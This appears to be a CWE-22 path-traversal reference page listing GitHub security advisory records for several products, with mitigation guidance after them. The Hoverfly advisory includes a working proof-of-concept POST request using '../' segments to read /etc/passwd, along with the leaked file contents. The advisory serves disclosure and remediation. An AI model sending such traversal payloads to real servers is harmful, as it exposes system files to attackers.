CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13236 vulnerabilities reference this CWE, most recent first.
GHSA-6XHX-53C5-F9QR
Vulnerability from github – Published: 2026-02-24 18:31 – Updated: 2026-02-24 21:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Linksys MR9600, Linksys MX4200 allows that contents of a USB drive partition can be mounted in an arbitrary location of the file system. This may result in the execution of shell scripts in the context of a root user.This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
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"affected": [],
"aliases": [
"CVE-2026-25603"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-24T18:29:33Z",
"severity": "MODERATE"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in Linksys MR9600, Linksys MX4200 allows that\u00a0contents of a USB drive partition can be mounted in an arbitrary location of the file system. This may result in the execution of shell scripts in the context of a root user.This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.",
"id": "GHSA-6xhx-53c5-f9qr",
"modified": "2026-02-24T21:31:45Z",
"published": "2026-02-24T18:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25603"
},
{
"type": "WEB",
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-001.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6XPP-XX5C-5QFG
Vulnerability from github – Published: 2024-10-24 21:31 – Updated: 2024-10-28 21:30An issue was discovered on certain GL-iNet devices, including MT6000, MT3000, MT2500, AXT1800, and AX1800 4.6.2. The params parameter in the call method of the /rpc endpoint is vulnerable to arbitrary directory traversal, which enables attackers to execute scripts under any path.
{
"affected": [],
"aliases": [
"CVE-2024-45262"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-24T21:15:12Z",
"severity": "HIGH"
},
"details": "An issue was discovered on certain GL-iNet devices, including MT6000, MT3000, MT2500, AXT1800, and AX1800 4.6.2. The params parameter in the call method of the /rpc endpoint is vulnerable to arbitrary directory traversal, which enables attackers to execute scripts under any path.",
"id": "GHSA-6xpp-xx5c-5qfg",
"modified": "2024-10-28T21:30:34Z",
"published": "2024-10-24T21:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45262"
},
{
"type": "WEB",
"url": "https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Improper%20Pathname%20Restriction%20Leading%20to%20Path%20Traversal%20in%20Restricted%20Directories.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6XQ2-FM6W-MXFM
Vulnerability from github – Published: 2026-02-25 09:30 – Updated: 2026-02-25 21:31URLs containing percent-encoded slashes (/ or \) can trick wcurl into
saving the output file outside of the current directory without the user
explicitly asking for it.
This flaw only affects the wcurl command line tool.
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"affected": [],
"aliases": [
"CVE-2025-11563"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-25T08:16:18Z",
"severity": "MODERATE"
},
"details": "URLs containing percent-encoded slashes (`/` or `\\`) can trick wcurl into\nsaving the output file outside of the current directory without the user\nexplicitly asking for it.\n\nThis flaw only affects the wcurl command line tool.",
"id": "GHSA-6xq2-fm6w-mxfm",
"modified": "2026-02-25T21:31:18Z",
"published": "2026-02-25T09:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11563"
},
{
"type": "WEB",
"url": "https://curl.se/docs/CVE-2025-11563.html"
},
{
"type": "WEB",
"url": "https://curl.se/docs/CVE-2025-11563.json"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-release/2025/11/msg00504.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/11/04/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6XQM-JW5J-72JF
Vulnerability from github – Published: 2026-04-30 00:31 – Updated: 2026-04-30 00:31A security vulnerability has been detected in ZachHandley ZMCPTools up to 0.2.2. Affected by this issue is some unknown functionality of the file src/managers/ResourceManager.ts of the component MCP Log Resource Handler. The manipulation of the argument dirname leads to path traversal. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.
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"affected": [],
"aliases": [
"CVE-2026-7445"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-30T00:16:23Z",
"severity": "LOW"
},
"details": "A security vulnerability has been detected in ZachHandley ZMCPTools up to 0.2.2. Affected by this issue is some unknown functionality of the file src/managers/ResourceManager.ts of the component MCP Log Resource Handler. The manipulation of the argument dirname leads to path traversal. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-6xqm-jw5j-72jf",
"modified": "2026-04-30T00:31:22Z",
"published": "2026-04-30T00:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7445"
},
{
"type": "WEB",
"url": "https://github.com/BruceJqs/public_exp/issues/23"
},
{
"type": "WEB",
"url": "https://github.com/ZachHandley/ZMCPTools/issues/8"
},
{
"type": "WEB",
"url": "https://github.com/ZachHandley/ZMCPTools"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/804058"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360186"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360186/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6XR5-PJ36-4GCG
Vulnerability from github – Published: 2026-07-09 12:30 – Updated: 2026-07-09 12:30The Bit Form – Contact Form, Payment Forms, Multi Step Forms, Calculator & Custom Form Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the deleteFiles function in all versions up to, and including, 3.1.1 This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config).
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"affected": [],
"aliases": [
"CVE-2026-14372"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-09T11:16:24Z",
"severity": "HIGH"
},
"details": "The Bit Form \u2013 Contact Form, Payment Forms, Multi Step Forms, Calculator \u0026 Custom Form Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the deleteFiles function in all versions up to, and including, 3.1.1 This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config).",
"id": "GHSA-6xr5-pj36-4gcg",
"modified": "2026-07-09T12:30:28Z",
"published": "2026-07-09T12:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14372"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/tags/3.1.1/includes/Admin/Form/Helpers.php#L302"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/tags/3.1.1/includes/Core/Form/FormManager.php#L1039"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/tags/3.1.1/includes/Core/Form/FormManager.php#L1044"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/tags/3.1.1/includes/Core/Util/FileHandler.php#L129"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/tags/3.1.1/includes/Frontend/Ajax/FrontendAjax.php#L87"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Admin/Form/Helpers.php#L302"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Core/Form/FormManager.php#L1039"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Core/Form/FormManager.php#L1044"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Core/Util/FileHandler.php#L129"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-form/trunk/includes/Frontend/Ajax/FrontendAjax.php#L87"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3598554/bit-form/trunk/includes/Core/Form/FormManager.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fbit-form/tags/3.1.1\u0026new_path=%2Fbit-form/tags/3.1.2"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/943668eb-0185-4029-9459-f99141bf84cf?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6XRR-G2JP-6X36
Vulnerability from github – Published: 2022-05-17 00:47 – Updated: 2022-05-17 00:47Directory traversal vulnerability in the Image Browser (com_imagebrowser) 0.1.5 component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.
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"affected": [],
"aliases": [
"CVE-2008-4668"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-10-22T10:30:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in the Image Browser (com_imagebrowser) 0.1.5 component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.",
"id": "GHSA-6xrr-g2jp-6x36",
"modified": "2022-05-17T00:47:06Z",
"published": "2022-05-17T00:47:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4668"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45490"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6618"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4464"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31458"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6XW4-C3MM-XC5R
Vulnerability from github – Published: 2022-08-06 00:00 – Updated: 2022-08-12 00:01VMware Workspace ONE Access, Identity Manager, Connectors and vRealize Automation contain a path traversal vulnerability. A malicious actor with network access may be able to access arbitrary files.
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"affected": [],
"aliases": [
"CVE-2022-31662"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-05T16:15:00Z",
"severity": "HIGH"
},
"details": "VMware Workspace ONE Access, Identity Manager, Connectors and vRealize Automation contain a path traversal vulnerability. A malicious actor with network access may be able to access arbitrary files.",
"id": "GHSA-6xw4-c3mm-xc5r",
"modified": "2022-08-12T00:01:19Z",
"published": "2022-08-06T00:00:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31662"
},
{
"type": "WEB",
"url": "https://www.vmware.com/security/advisories/VMSA-2022-0021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6XW7-MXP5-G2P8
Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30PDF-XChange Editor createDataObject Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of PDF-XChange Editor. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the createDataObject method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-20594.
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"affected": [],
"aliases": [
"CVE-2023-39506"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T03:15:18Z",
"severity": "HIGH"
},
"details": "PDF-XChange Editor createDataObject Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of PDF-XChange Editor. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the createDataObject method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-20594.",
"id": "GHSA-6xw7-mxp5-g2p8",
"modified": "2024-05-03T03:30:58Z",
"published": "2024-05-03T03:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39506"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1147"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6XW9-67RG-3FPV
Vulnerability from github – Published: 2022-08-25 00:00 – Updated: 2022-09-01 00:00Relative Path Traversal vulnerability in ABB Zenon 8.20 allows the user to access files on the Zenon system and user also can add own log messages and e.g., flood the log entries. An attacker who successfully exploit the vulnerability could access the Zenon runtime activities such as the start and stop of various activity and the last error code etc.
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"affected": [],
"aliases": [
"CVE-2022-34836"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-24T16:15:00Z",
"severity": "HIGH"
},
"details": "Relative Path Traversal vulnerability in ABB Zenon 8.20 allows the user to access files on the Zenon system and user also can add own log messages and e.g., flood the log entries. An attacker who successfully exploit the vulnerability could access the Zenon runtime activities such as the start and stop of various activity and the last error code etc.",
"id": "GHSA-6xw9-67rg-3fpv",
"modified": "2022-09-01T00:00:25Z",
"published": "2022-08-25T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34836"
},
{
"type": "WEB",
"url": "https://search.abb.com/library/Download.aspx?DocumentID=2NGA001479\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6XX4-X46F-F897
Vulnerability from github – Published: 2024-09-03 21:01 – Updated: 2024-09-06 21:41Details
The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.
# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186
func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
if filepath.IsAbs(filePath) {
return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
}
fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
if err != nil {
return "", err
}
return string(fileContents[:]), nil
}
Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files.
This issue was found using the Uncontrolled data used in path expression CodeQL query for python.
Proof of Concept
Send the following POST request to read the /etc/passwd file:
POST /api/v2/simulation HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
Response will contain the Hoverfly's server /etc/passwd
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 19 Dec 2023 20:59:16 GMT
Content-Length: 1494
Connection: close
{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}
Impact
This issue may lead to Information Disclosure.
Remediation
The code is preventing absolute paths from being read. Make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/"))
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"affected": [
{
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"ecosystem": "Go",
"name": "github.com/spectolabs/hoverfly"
},
"ranges": [
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"events": [
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"introduced": "0"
},
{
"fixed": "1.10.3"
}
],
"type": "ECOSYSTEM"
}
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},
{
"package": {
"ecosystem": "Go",
"name": "github.com/SpectoLabs/hoverfly"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45388"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-03T21:01:53Z",
"nvd_published_at": "2024-09-02T18:15:38Z",
"severity": "HIGH"
},
"details": "### Details\n\nThe `/api/v2/simulation` [POST handler](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87) allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.\n\n```go\n# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186\nfunc (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {\n\tif filepath.IsAbs(filePath) {\n\t\treturn \"\", fmt.Errorf(\"bodyFile contains absolute path (%s). only relative is supported\", filePath)\n\t}\n\n\tfileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(fileContents[:]), nil\n}\n```\n\nNote that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files.\n\nThis issue was found using the [Uncontrolled data used in path expression CodeQL query for python](https://codeql.github.com/codeql-query-help/go/go-path-injection/).\n#### Proof of Concept\n\nSend the following `POST` request to read the `/etc/passwd` file:\n\n```http\nPOST /api/v2/simulation HTTP/1.1\nHost: localhost:8888\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 128\n\n{\"data\":{\"pairs\":[{\n\"request\":{},\"response\": {\n\"bodyFile\": \"../../../../../etc/passwd\"}} ]},\"meta\":{\"schemaVersion\":\"v5.2\"}}\n\n```\n\nResponse will contain the Hoverfly\u0027s server `/etc/passwd`\n```\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nDate: Tue, 19 Dec 2023 20:59:16 GMT\nContent-Length: 1494\nConnection: close\n\n{\"data\":{\"pairs\":[{\"request\":{},\"response\":{\"status\":0,\"body\":\"root:x:0:0:root:/root:/bin/ash\\nbin:x:1:1:bin:/bin:/sbin/nologin\\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\\nadm:x:3:4:adm:/var/adm:/sbin/nologin\\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\\nsync:x:5:0:sync:/sbin:/bin/sync\\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\\nhalt:x:7:0:halt:/sbin:/sbin/halt\\nmail:x:8:12:mail:/var/mail:/sbin/nologin\\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\\noperator:x:11:0:operator:/root:/sbin/nologin\\nman:x:13:15:man:/usr/man:/sbin/nologin\\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\\ngames:x:35:35:games:/usr/games:/sbin/nologin\\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\\nguest:x:405:100:guest:/dev/null:/sbin/nologin\\nnobody:x:65534:65534:nobody:/:/sbin/nologin\\n\",\"bodyFile\":\"../../../../../etc/passwd\",\"encodedBody\":false,\"templated\":false}}],\"globalActions\":{\"delays\":[],\"delaysLogNormal\":[]}},\"meta\":{\"schemaVersion\":\"v5.2\",\"hoverflyVersion\":\"v1.6.1\",\"timeExported\":\"2023-12-19T20:59:16Z\"}}\n\n```\n\n#### Impact\n\nThis issue may lead to Information Disclosure.\n#### Remediation\n\nThe code is [preventing absolute paths from being read](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186). Make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`)",
"id": "GHSA-6xx4-x46f-f897",
"modified": "2024-09-06T21:41:35Z",
"published": "2024-09-03T21:01:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45388"
},
{
"type": "WEB",
"url": "https://codeql.github.com/codeql-query-help/go/go-path-injection"
},
{
"type": "PACKAGE",
"url": "https://github.com/SpectoLabs/hoverfly"
},
{
"type": "WEB",
"url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3"
},
{
"type": "WEB",
"url": "https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`)"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
